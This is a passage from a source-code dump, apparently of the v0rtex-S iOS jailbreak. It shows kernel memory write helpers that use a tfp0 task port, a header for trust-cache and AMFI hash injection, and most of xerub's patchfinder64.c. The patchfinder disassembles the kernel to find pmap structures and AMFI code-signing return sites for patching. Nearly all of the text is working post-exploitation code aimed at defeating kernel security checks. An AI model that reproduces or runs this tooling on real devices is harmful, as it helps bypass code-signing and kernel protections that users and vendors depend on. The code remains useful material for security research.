98 | // printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
99 | return;
100 | }
101 | }
102 |
103 | size_t kwrite(uint64_t where, const void *p, size_t size) {
104 | int rv;
105 | size_t offset = 0;
106 | while (offset < size) {
107 | size_t chunk = 2048;
108 | if (chunk > size - offset) {
109 | chunk = size - offset;
110 | }
111 | rv = mach_vm_write(tfp0,
112 | where + offset,
113 | (mach_vm_offset_t)p + offset,
114 | (mach_msg_type_number_t)chunk);
115 |
116 | if (rv) {
117 | printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where));
118 | break;
119 | }
120 |
121 | offset +=chunk;
122 | }
123 |
124 | return offset;
125 | }
126 |
127 | size_t kwrite_uint64(uint64_t where, uint64_t value) {
128 | return kwrite(where, &value, sizeof(value));
129 | }
130 |
--------------------------------------------------------------------------------
/v0rtex-S/launchctl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/launchctl
--------------------------------------------------------------------------------
/v0rtex-S/libjb.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/libjb.a
--------------------------------------------------------------------------------
/v0rtex-S/libjb.h:
--------------------------------------------------------------------------------
1 | #ifndef libjb_h_included
2 | #define libjb_h_included
3 |
4 | #import "common.h"
5 | #import
6 |
7 | /* mount ********************************************************************/
8 |
9 | struct hfs_mount_args {
10 | char *fspec; /* block special device to mount */
11 | uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */
12 | gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */
13 | mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */
14 | u_int32_t hfs_encoding; /* encoding for this volume (standard HFS only) */
15 | struct timezone hfs_timezone; /* user time zone info (standard HFS only) */
16 | int flags; /* mounting flags, see below */
17 | int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */
18 | int journal_flags; /* flags to pass to journal_open/create */
19 | int journal_disable; /* don't use journaling (potentially dangerous) */
20 | } args;
21 |
22 | /* libhfs *******************************************************************/
23 |
24 | enum {
25 | kPermOtherExecute = 1 << 0,
26 | kPermOtherWrite = 1 << 1,
27 | kPermOtherRead = 1 << 2,
28 | kPermGroupExecute = 1 << 3,
29 | kPermGroupWrite = 1 << 4,
30 | kPermGroupRead = 1 << 5,
31 | kPermOwnerExecute = 1 << 6,
32 | kPermOwnerWrite = 1 << 7,
33 | kPermOwnerRead = 1 << 8,
34 | kPermMask = 0x1FF,
35 | kOwnerNotRoot = 1 << 9,
36 | kFileTypeUnknown = 0x0 << 16,
37 | kFileTypeFlat = 0x1 << 16,
38 | kFileTypeDirectory = 0x2 << 16,
39 | kFileTypeLink = 0x3 << 16,
40 | kFileTypeMask = 0x3 << 16
41 | };
42 |
43 | typedef long CICell;
44 |
45 | extern char *gLoadAddr; /* buffer of size 32MB (max file size) */
46 |
47 | CICell HFSOpen(const char *filename, long offset);
48 | long HFSReadFile(CICell ih, char *filePath, void *base, unsigned long offset, unsigned long length);
49 | long HFSGetDirEntry(CICell ih, char *dirPath, unsigned long *dirIndex, char **name, long *flags, long *time);
50 | void HFSClose(CICell);
51 |
52 | /* untar ********************************************************************/
53 |
54 | /* untar 'a' to current directory. path is name of archive (informational) */
55 | void untar(FILE *a, const char *path);
56 |
57 | /* launchctl ****************************************************************/
58 |
59 | int launchctl_load_cmd(const char *filename, int do_load, int opt_force, int opt_write);
60 |
61 | /* hashes *******************************************************************/
62 |
63 | struct trust_dsk {
64 | unsigned int version;
65 | unsigned char uuid[16];
66 | unsigned int count;
67 | //unsigned char data[];
68 | } __attribute__((packed));
69 |
70 | struct trust_mem {
71 | uint64_t next; //struct trust_mem *next;
72 | unsigned char uuid[16];
73 | unsigned int count;
74 | //unsigned char data[];
75 | } __attribute__((packed));
76 |
77 | struct hash_entry_t {
78 | uint16_t num;
79 | uint16_t start;
80 | } __attribute__((packed));
81 |
82 | typedef uint8_t hash_t[20];
83 |
84 | extern hash_t *allhash;
85 | extern unsigned numhash;
86 | extern struct hash_entry_t *amfitab;
87 | extern hash_t *allkern;
88 |
89 | /* can be called multiple times. kernel read func & amfi/top trust chain block are optional */
90 | int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top);
91 |
92 | #endif
93 |
--------------------------------------------------------------------------------
/v0rtex-S/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // v0rtex
4 | //
5 | // Created by Sticktron on 2017-12-07.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/v0rtex-S/patchfinder64.c:
--------------------------------------------------------------------------------
1 | //
2 | // patchfinder64.c
3 | // extra_recipe
4 | //
5 | // Created by xerub on 06/06/2017.
6 | // Copyright © 2017 xerub. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 | #include
12 | #include "kernel.h"
13 |
14 | typedef unsigned long long addr_t;
15 |
16 | #define IS64(image) (*(uint8_t *)(image) & 1)
17 |
18 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
19 |
20 | /* generic stuff *************************************************************/
21 |
22 | #define UCHAR_MAX 255
23 |
24 | static unsigned char *
25 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
26 | const unsigned char* needle, size_t nlen)
27 | {
28 | size_t last, scan = 0;
29 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
30 | * bad character shift */
31 |
32 | /* Sanity checks on the parameters */
33 | if (nlen <= 0 || !haystack || !needle)
34 | return NULL;
35 |
36 | /* ---- Preprocess ---- */
37 | /* Initialize the table to default value */
38 | /* When a character is encountered that does not occur
39 | * in the needle, we can safely skip ahead for the whole
40 | * length of the needle.
41 | */
42 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
43 | bad_char_skip[scan] = nlen;
44 |
45 | /* C arrays have the first byte at [0], therefore:
46 | * [nlen - 1] is the last byte of the array. */
47 | last = nlen - 1;
48 |
49 | /* Then populate it with the analysis of the needle */
50 | for (scan = 0; scan < last; scan = scan + 1)
51 | bad_char_skip[needle[scan]] = last - scan;
52 |
53 | /* ---- Do the matching ---- */
54 |
55 | /* Search the haystack, while the needle can still be within it. */
56 | while (hlen >= nlen)
57 | {
58 | /* scan from the end of the needle */
59 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
60 | if (scan == 0) /* If the first byte matches, we've found it. */
61 | return (void *)haystack;
62 |
63 | /* otherwise, we need to skip some bytes and start again.
64 | Note that here we are getting the skip value based on the last byte
65 | of needle, no matter where we didn't match. So if needle is: "abcd"
66 | then we are skipping based on 'd' and that value will be 4, and
67 | for "abcdd" we again skip on 'd' but the value will be only 1.
68 | The alternative of pretending that the mismatched character was
69 | the last character is slower in the normal case (E.g. finding
70 | "abcd" in "...azcd..." gives 4 by using 'd' but only
71 | 4-2==2 using 'z'. */
72 | hlen -= bad_char_skip[haystack[last]];
73 | haystack += bad_char_skip[haystack[last]];
74 | }
75 |
76 | return NULL;
77 | }
78 |
79 | /* disassembler **************************************************************/
80 |
81 | static int HighestSetBit(int N, uint32_t imm)
82 | {
83 | int i;
84 | for (i = N - 1; i >= 0; i--) {
85 | if (imm & (1 << i)) {
86 | return i;
87 | }
88 | }
89 | return -1;
90 | }
91 |
92 | static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width
93 | {
94 | (void)N;
95 | return ((uint64_t)1 << M) - 1;
96 | }
97 |
98 | static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
99 | {
100 | uint64_t val = ZeroExtendOnes(M, N);
101 | if (R == 0) {
102 | return val;
103 | }
104 | return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));
105 | }
106 |
107 | static uint64_t Replicate(uint64_t val, unsigned bits)
108 | {
109 | uint64_t ret = val;
110 | unsigned shift;
111 | for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64
112 | ret |= (val << shift);
113 | }
114 | return ret;
115 | }
116 |
117 | static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)
118 | {
119 | unsigned levels, S, R, esize;
120 | int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));
121 | if (len < 1) {
122 | return -1;
123 | }
124 | levels = ZeroExtendOnes(len, 6);
125 | if (immediate && (imms & levels) == levels) {
126 | return -1;
127 | }
128 | S = imms & levels;
129 | R = immr & levels;
130 | esize = 1 << len;
131 | *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);
132 | return 0;
133 | }
134 |
135 | static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)
136 | {
137 | unsigned o = (opcode >> 29) & 3;
138 | unsigned k = (opcode >> 23) & 0x3F;
139 | unsigned rn, rd;
140 | uint64_t i;
141 |
142 | if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate)
143 | unsigned s = (opcode >> 31) & 1;
144 | unsigned N = (opcode >> 22) & 1;
145 | if (s == 0 && N != 0) {
146 | return -1;
147 | }
148 | rn = (opcode >> 5) & 0x1F;
149 | if (rn == 31) {
150 | unsigned imms = (opcode >> 10) & 0x3F;
151 | unsigned immr = (opcode >> 16) & 0x3F;
152 | return DecodeBitMasks(N, imms, immr, 1, newval);
153 | }
154 | } else if (k == 0x25) { // MOVN/MOVZ/MOVK
155 | unsigned s = (opcode >> 31) & 1;
156 | unsigned h = (opcode >> 21) & 3;
157 | if (s == 0 && h > 1) {
158 | return -1;
159 | }
160 | i = (opcode >> 5) & 0xFFFF;
161 | h *= 16;
162 | i <<= h;
163 | if (o == 0) { // MOVN
164 | *newval = ~i;
165 | return 0;
166 | } else if (o == 2) { // MOVZ
167 | *newval = i;
168 | return 0;
169 | } else if (o == 3 && !first) { // MOVK
170 | *newval = (total & ~((uint64_t)0xFFFF << h)) | i;
171 | return 0;
172 | }
173 | } else if ((k | 1) == 0x23 && !first) { // ADD (immediate)
174 | unsigned h = (opcode >> 22) & 3;
175 | if (h > 1) {
176 | return -1;
177 | }
178 | rd = opcode & 0x1F;
179 | rn = (opcode >> 5) & 0x1F;
180 | if (rd != rn) {
181 | return -1;
182 | }
183 | i = (opcode >> 10) & 0xFFF;
184 | h *= 12;
185 | i <<= h;
186 | if (o & 2) { // SUB
187 | *newval = total - i;
188 | return 0;
189 | } else { // ADD
190 | *newval = total + i;
191 | return 0;
192 | }
193 | }
194 |
195 | return -1;
196 | }
197 |
198 | /* patchfinder ***************************************************************/
199 |
200 | static addr_t
201 | step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
202 | {
203 | addr_t end = start + length;
204 | while (start < end) {
205 | uint32_t x = *(uint32_t *)(buf + start);
206 | if ((x & mask) == what) {
207 | return start;
208 | }
209 | start += 4;
210 | }
211 | return 0;
212 | }
213 |
214 | static addr_t
215 | step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
216 | {
217 | addr_t end = start - length;
218 | while (start >= end) {
219 | uint32_t x = *(uint32_t *)(buf + start);
220 | if ((x & mask) == what) {
221 | return start;
222 | }
223 | start -= 4;
224 | }
225 | return 0;
226 | }
227 |
228 | static addr_t
229 | bof64(const uint8_t *buf, addr_t start, addr_t where)
230 | {
231 | for (; where >= start; where -= 4) {
232 | uint32_t op = *(uint32_t *)(buf + where);
233 | if ((op & 0xFFC003FF) == 0x910003FD) {
234 | unsigned delta = (op >> 10) & 0xFFF;
235 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta);
236 | if ((delta & 0xF) == 0) {
237 | addr_t prev = where - ((delta >> 4) + 1) * 4;
238 | uint32_t au = *(uint32_t *)(buf + prev);
239 | if ((au & 0xFFC003E0) == 0xA98003E0) {
240 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
241 | return prev;
242 | }
243 | }
244 | }
245 | }
246 | return 0;
247 | }
248 |
249 | static addr_t
250 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
251 | {
252 | addr_t i;
253 | uint64_t value[32];
254 |
255 | memset(value, 0, sizeof(value));
256 |
257 | end &= ~3;
258 | for (i = start & ~3; i < end; i += 4) {
259 | uint32_t op = *(uint32_t *)(buf + i);
260 | unsigned reg = op & 0x1F;
261 | if ((op & 0x9F000000) == 0x90000000) {
262 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
263 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
264 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
265 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
266 | unsigned rd = op & 0x1F;
267 | unsigned rm = (op >> 16) & 0x1F;
268 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
269 | value[rd] = value[rm];*/
270 | } else if ((op & 0xFF000000) == 0x91000000) {
271 | unsigned rn = (op >> 5) & 0x1F;
272 | unsigned shift = (op >> 22) & 3;
273 | unsigned imm = (op >> 10) & 0xFFF;
274 | if (shift == 1) {
275 | imm <<= 12;
276 | } else {
277 | //assert(shift == 0);
278 | if (shift > 1) continue;
279 | }
280 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
281 | value[reg] = value[rn] + imm;
282 | } else if ((op & 0xF9C00000) == 0xF9400000) {
283 | unsigned rn = (op >> 5) & 0x1F;
284 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
285 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
286 | if (!imm) continue; // XXX not counted as true xref
287 | value[reg] = value[rn] + imm; // XXX address, not actual value
288 | /*} else if ((op & 0xF9C00000) == 0xF9000000) {
289 | unsigned rn = (op >> 5) & 0x1F;
290 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
291 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
292 | if (!imm) continue; // XXX not counted as true xref
293 | value[rn] = value[rn] + imm; // XXX address, not actual value*/
294 | } else if ((op & 0x9F000000) == 0x10000000) {
295 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
296 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
297 | value[reg] = ((long long)adr >> 11) + i;
298 | } else if ((op & 0xFF000000) == 0x58000000) {
299 | unsigned adr = (op & 0xFFFFE0) >> 3;
300 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
301 | value[reg] = adr + i; // XXX address, not actual value
302 | }
303 | if (value[reg] == what) {
304 | return i;
305 | }
306 | }
307 | return 0;
308 | }
309 |
310 | static addr_t
311 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
312 | {
313 | addr_t i;
314 | uint64_t value[32];
315 |
316 | memset(value, 0, sizeof(value));
317 |
318 | end &= ~3;
319 | for (i = start & ~3; i < end; i += 4) {
320 | uint32_t op = *(uint32_t *)(buf + i);
321 | unsigned reg = op & 0x1F;
322 | if ((op & 0x9F000000) == 0x90000000) {
323 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
324 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
325 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
326 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
327 | unsigned rd = op & 0x1F;
328 | unsigned rm = (op >> 16) & 0x1F;
329 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
330 | value[rd] = value[rm];*/
331 | } else if ((op & 0xFF000000) == 0x91000000) {
332 | unsigned rn = (op >> 5) & 0x1F;
333 | unsigned shift = (op >> 22) & 3;
334 | unsigned imm = (op >> 10) & 0xFFF;
335 | if (shift == 1) {
336 | imm <<= 12;
337 | } else {
338 | //assert(shift == 0);
339 | if (shift > 1) continue;
340 | }
341 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
342 | value[reg] = value[rn] + imm;
343 | } else if ((op & 0xF9C00000) == 0xF9400000) {
344 | unsigned rn = (op >> 5) & 0x1F;
345 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
346 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
347 | if (!imm) continue; // XXX not counted as true xref
348 | value[reg] = value[rn] + imm; // XXX address, not actual value
349 | } else if ((op & 0xF9C00000) == 0xF9000000) {
350 | unsigned rn = (op >> 5) & 0x1F;
351 | unsigned imm = ((op >> 10) & 0xFFF) << 3;
352 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
353 | if (!imm) continue; // XXX not counted as true xref
354 | value[rn] = value[rn] + imm; // XXX address, not actual value
355 | } else if ((op & 0x9F000000) == 0x10000000) {
356 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
357 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
358 | value[reg] = ((long long)adr >> 11) + i;
359 | } else if ((op & 0xFF000000) == 0x58000000) {
360 | unsigned adr = (op & 0xFFFFE0) >> 3;
361 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
362 | value[reg] = adr + i; // XXX address, not actual value
363 | }
364 | }
365 | return value[which];
366 | }
367 |
368 | static addr_t
369 | calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)
370 | {
371 | addr_t i;
372 | uint64_t value[32];
373 |
374 | memset(value, 0, sizeof(value));
375 |
376 | end &= ~3;
377 | for (i = start & ~3; i < end; i += 4) {
378 | uint32_t op = *(uint32_t *)(buf + i);
379 | unsigned reg = op & 0x1F;
380 | uint64_t newval;
381 | int rv = DecodeMov(op, value[reg], 0, &newval);
382 | if (rv == 0) {
383 | if (((op >> 31) & 1) == 0) {
384 | newval &= 0xFFFFFFFF;
385 | }
386 | value[reg] = newval;
387 | }
388 | }
389 | return value[which];
390 | }
391 |
392 | static addr_t
393 | find_call64(const uint8_t *buf, addr_t start, size_t length)
394 | {
395 | return step64(buf, start, length, 0x94000000, 0xFC000000);
396 | }
397 |
398 | static addr_t
399 | follow_call64(const uint8_t *buf, addr_t call)
400 | {
401 | long long w;
402 | w = *(uint32_t *)(buf + call) & 0x3FFFFFF;
403 | w <<= 64 - 26;
404 | w >>= 64 - 26 - 2;
405 | return call + w;
406 | }
407 |
408 | static addr_t
409 | follow_cbz(const uint8_t *buf, addr_t cbz)
410 | {
411 | return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);
412 | }
413 |
414 | /* kernel iOS10 **************************************************************/
415 |
416 | #include
417 | #include
418 | #include
419 | #include
420 | #include
421 |
422 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
423 | #include
424 | size_t kread(uint64_t where, void *p, size_t size);
425 | #endif
426 |
427 | static task_t tfp0;
428 |
429 | static uint8_t *kernel = NULL;
430 | static size_t kernel_size = 0;
431 |
432 | static addr_t xnucore_base = 0;
433 | static addr_t xnucore_size = 0;
434 | static addr_t prelink_base = 0;
435 | static addr_t prelink_size = 0;
436 | static addr_t cstring_base = 0;
437 | static addr_t cstring_size = 0;
438 | static addr_t pstring_base = 0;
439 | static addr_t pstring_size = 0;
440 | static addr_t kerndumpbase = -1;
441 | static addr_t kernel_entry = 0;
442 | static void *kernel_mh = 0;
443 | static addr_t kernel_delta = 0;
444 |
445 | int
446 | init_patchfinder(task_t taskfp0, addr_t base, const char *filename)
447 | {
448 | tfp0 = taskfp0;
449 |
450 | size_t rv;
451 | uint8_t buf[0x4000];
452 | unsigned i, j;
453 | const struct mach_header *hdr = (struct mach_header *)buf;
454 | const uint8_t *q;
455 | addr_t min = -1;
456 | addr_t max = 0;
457 | int is64 = 0;
458 |
459 | init_kernel(taskfp0);
460 |
461 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
462 | #define close(f)
463 | rv = tfp0_kread(base, buf, sizeof(buf));
464 | if (rv != sizeof(buf)) {
465 | printf("failed kread, got size: %zu \n", rv);
466 | return -1;
467 | }
468 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
469 | printf("this code right here has run ............. \n");
470 | int fd = open(filename, O_RDONLY);
471 | if (fd < 0) {
472 | printf("failed at open, got fd: %s \n", fd);
473 | return -1;
474 | }
475 |
476 | rv = rk32_via_tfp0(tfp0, fd);
477 | //rv = read(fd, buf, sizeof(buf));
478 | if (rv != sizeof(buf)) {
479 | close(fd);
480 | printf("failed at buf read, got rv: %d \n", rv);
481 | return -1;
482 | }
483 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
484 |
485 | if (!MACHO(buf)) {
486 | close(fd);
487 | printf("failed macho, buf: %s \n", buf);
488 | return -1;
489 | }
490 |
491 | if (IS64(buf)) {
492 | is64 = 4;
493 | }
494 |
495 | q = buf + sizeof(struct mach_header) + is64;
496 | for (i = 0; i < hdr->ncmds; i++) {
497 | const struct load_command *cmd = (struct load_command *)q;
498 | if (cmd->cmd == LC_SEGMENT_64) {
499 | const struct segment_command_64 *seg = (struct segment_command_64 *)q;
500 | if (min > seg->vmaddr) {
501 | min = seg->vmaddr;
502 | }
503 | if (max < seg->vmaddr + seg->vmsize) {
504 | max = seg->vmaddr + seg->vmsize;
505 | }
506 | if (!strcmp(seg->segname, "__TEXT_EXEC")) {
507 | xnucore_base = seg->vmaddr;
508 | xnucore_size = seg->filesize;
509 | }
510 | if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
511 | prelink_base = seg->vmaddr;
512 | prelink_size = seg->filesize;
513 | }
514 | if (!strcmp(seg->segname, "__TEXT")) {
515 | const struct section_64 *sec = (struct section_64 *)(seg + 1);
516 | for (j = 0; j < seg->nsects; j++) {
517 | if (!strcmp(sec[j].sectname, "__cstring")) {
518 | cstring_base = sec[j].addr;
519 | cstring_size = sec[j].size;
520 | }
521 | }
522 | }
523 | if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
524 | const struct section_64 *sec = (struct section_64 *)(seg + 1);
525 | for (j = 0; j < seg->nsects; j++) {
526 | if (!strcmp(sec[j].sectname, "__text")) {
527 | pstring_base = sec[j].addr;
528 | pstring_size = sec[j].size;
529 | }
530 | }
531 | }
532 | }
533 | if (cmd->cmd == LC_UNIXTHREAD) {
534 | uint32_t *ptr = (uint32_t *)(cmd + 1);
535 | uint32_t flavor = ptr[0];
536 | struct {
537 | uint64_t x[29]; /* General purpose registers x0-x28 */
538 | uint64_t fp; /* Frame pointer x29 */
539 | uint64_t lr; /* Link register x30 */
540 | uint64_t sp; /* Stack pointer x31 */
541 | uint64_t pc; /* Program counter */
542 | uint32_t cpsr; /* Current program status register */
543 | } *thread = (void *)(ptr + 2);
544 | if (flavor == 6) {
545 | kernel_entry = thread->pc;
546 | }
547 | }
548 | q = q + cmd->cmdsize;
549 | }
550 |
551 | kerndumpbase = min;
552 | xnucore_base -= kerndumpbase;
553 | prelink_base -= kerndumpbase;
554 | cstring_base -= kerndumpbase;
555 | pstring_base -= kerndumpbase;
556 | kernel_size = max - min;
557 |
558 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
559 | kernel = malloc(kernel_size);
560 | if (!kernel) {
561 | printf("failed to malloc kern \n");
562 | return -1;
563 | }
564 |
565 | rv = tfp0_kread(kerndumpbase, kernel, kernel_size);
566 | // rv = kread(kerndumpbase, kernel, kernel_size);
567 | if (rv != kernel_size) {
568 | free(kernel);
569 | printf("failed to kread kern, rv: %zu \n", rv);
570 | return -1;
571 | }
572 |
573 | kernel_mh = kernel + base - min;
574 |
575 | (void)filename;
576 | #undef close
577 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
578 | kernel = calloc(1, kernel_size);
579 | if (!kernel) {
580 | close(fd);
581 | printf("failed to calloc kern, kernel: %d \n", kernel);
582 | return -1;
583 | }
584 |
585 | q = buf + sizeof(struct mach_header) + is64;
586 | for (i = 0; i < hdr->ncmds; i++) {
587 | const struct load_command *cmd = (struct load_command *)q;
588 | if (cmd->cmd == LC_SEGMENT_64) {
589 | const struct segment_command_64 *seg = (struct segment_command_64 *)q;
590 | size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
591 | if (sz != seg->filesize) {
592 | close(fd);
593 | free(kernel);
594 | printf("sz != seg->filesize, sz: %zu", sz);
595 | return -1;
596 | }
597 | if (!kernel_mh) {
598 | kernel_mh = kernel + seg->vmaddr - min;
599 | }
600 | if (!strcmp(seg->segname, "__LINKEDIT")) {
601 | kernel_delta = seg->vmaddr - min - seg->fileoff;
602 | }
603 | }
604 | q = q + cmd->cmdsize;
605 | }
606 |
607 | close(fd);
608 |
609 | (void)base;
610 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
611 | return 0;
612 | }
613 |
614 | void
615 | term_kernel(void)
616 | {
617 | free(kernel);
618 | }
619 |
620 | /* these operate on VA ******************************************************/
621 |
622 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF
623 | #define INSN_CALL 0x94000000, 0xFC000000
624 | #define INSN_B 0x14000000, 0xFC000000
625 | #define INSN_CBZ 0x34000000, 0xFC000000
626 |
627 | addr_t
628 | find_register_value(addr_t where, int reg)
629 | {
630 | addr_t val;
631 | addr_t bof = 0;
632 | where -= kerndumpbase;
633 | if (where > xnucore_base) {
634 | bof = bof64(kernel, xnucore_base, where);
635 | if (!bof) {
636 | bof = xnucore_base;
637 | }
638 | } else if (where > prelink_base) {
639 | bof = bof64(kernel, prelink_base, where);
640 | if (!bof) {
641 | bof = prelink_base;
642 | }
643 | }
644 | val = calc64(kernel, bof, where, reg);
645 | if (!val) {
646 | return 0;
647 | }
648 | return val + kerndumpbase;
649 | }
650 |
651 | addr_t
652 | find_reference(addr_t to, int n, int prelink)
653 | {
654 | addr_t ref, end;
655 | addr_t base = xnucore_base;
656 | addr_t size = xnucore_size;
657 | if (prelink) {
658 | base = prelink_base;
659 | size = prelink_size;
660 | }
661 | if (n <= 0) {
662 | n = 1;
663 | }
664 | end = base + size;
665 | to -= kerndumpbase;
666 | do {
667 | ref = xref64(kernel, base, end, to);
668 | if (!ref) {
669 | return 0;
670 | }
671 | base = ref + 4;
672 | } while (--n > 0);
673 | return ref + kerndumpbase;
674 | }
675 |
676 | addr_t
677 | find_strref(const char *string, int n, int prelink)
678 | {
679 | uint8_t *str;
680 | addr_t base = cstring_base;
681 | addr_t size = cstring_size;
682 | if (prelink) {
683 | base = pstring_base;
684 | size = pstring_size;
685 | }
686 | str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string));
687 | if (!str) {
688 | return 0;
689 | }
690 | return find_reference(str - kernel + kerndumpbase, n, prelink);
691 | }
692 |
693 | addr_t
694 | find_gPhysBase(void)
695 | {
696 | addr_t ret, val;
697 | addr_t ref = find_strref("\"pmap_map_high_window_bd: insufficient pages", 1, 0);
698 | if (!ref) {
699 | return 0;
700 | }
701 | ref -= kerndumpbase;
702 | ret = step64(kernel, ref, 64, INSN_RET);
703 | if (!ret) {
704 | return 0;
705 | }
706 | val = calc64(kernel, ref, ret, 8);
707 | if (!val) {
708 | return 0;
709 | }
710 | return val + kerndumpbase;
711 | }
712 |
713 | addr_t
714 | find_kernel_pmap(void)
715 | {
716 | addr_t call, bof, val;
717 | addr_t ref = find_strref("\"pmap_map_bd\"", 1, 0);
718 | if (!ref) {
719 | return 0;
720 | }
721 | ref -= kerndumpbase;
722 | call = step64_back(kernel, ref, 64, INSN_CALL);
723 | if (!call) {
724 | return 0;
725 | }
726 | bof = bof64(kernel, xnucore_base, call);
727 | if (!bof) {
728 | return 0;
729 | }
730 | val = calc64(kernel, bof, call, 2);
731 | if (!val) {
732 | return 0;
733 | }
734 | return val + kerndumpbase;
735 | }
736 |
737 | addr_t
738 | find_amfiret(void)
739 | {
740 | addr_t ret;
741 | addr_t ref = find_strref("AMFI: hook..execve() killing pid %u: %s\n", 1, 1);
742 | if (!ref) {
743 | return 0;
744 | }
745 | ref -= kerndumpbase;
746 | ret = step64(kernel, ref, 512, INSN_RET);
747 | if (!ret) {
748 | return 0;
749 | }
750 | return ret + kerndumpbase;
751 | }
752 |
753 | addr_t
754 | find_ret_0(void)
755 | {
756 | addr_t off;
757 | uint32_t *k;
758 | k = (uint32_t *)(kernel + xnucore_base);
759 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
760 | if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) {
761 | return off + xnucore_base + kerndumpbase;
762 | }
763 | }
764 | k = (uint32_t *)(kernel + prelink_base);
765 | for (off = 0; off < prelink_size - 4; off += 4, k++) {
766 | if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) {
767 | return off + prelink_base + kerndumpbase;
768 | }
769 | }
770 | return 0;
771 | }
772 |
773 | addr_t
774 | find_amfi_memcmpstub(void)
775 | {
776 | addr_t call, dest, reg;
777 | addr_t ref = find_strref("%s: Possible race detected. Rejecting.", 1, 1);
778 | if (!ref) {
779 | return 0;
780 | }
781 | ref -= kerndumpbase;
782 | call = step64_back(kernel, ref, 64, INSN_CALL);
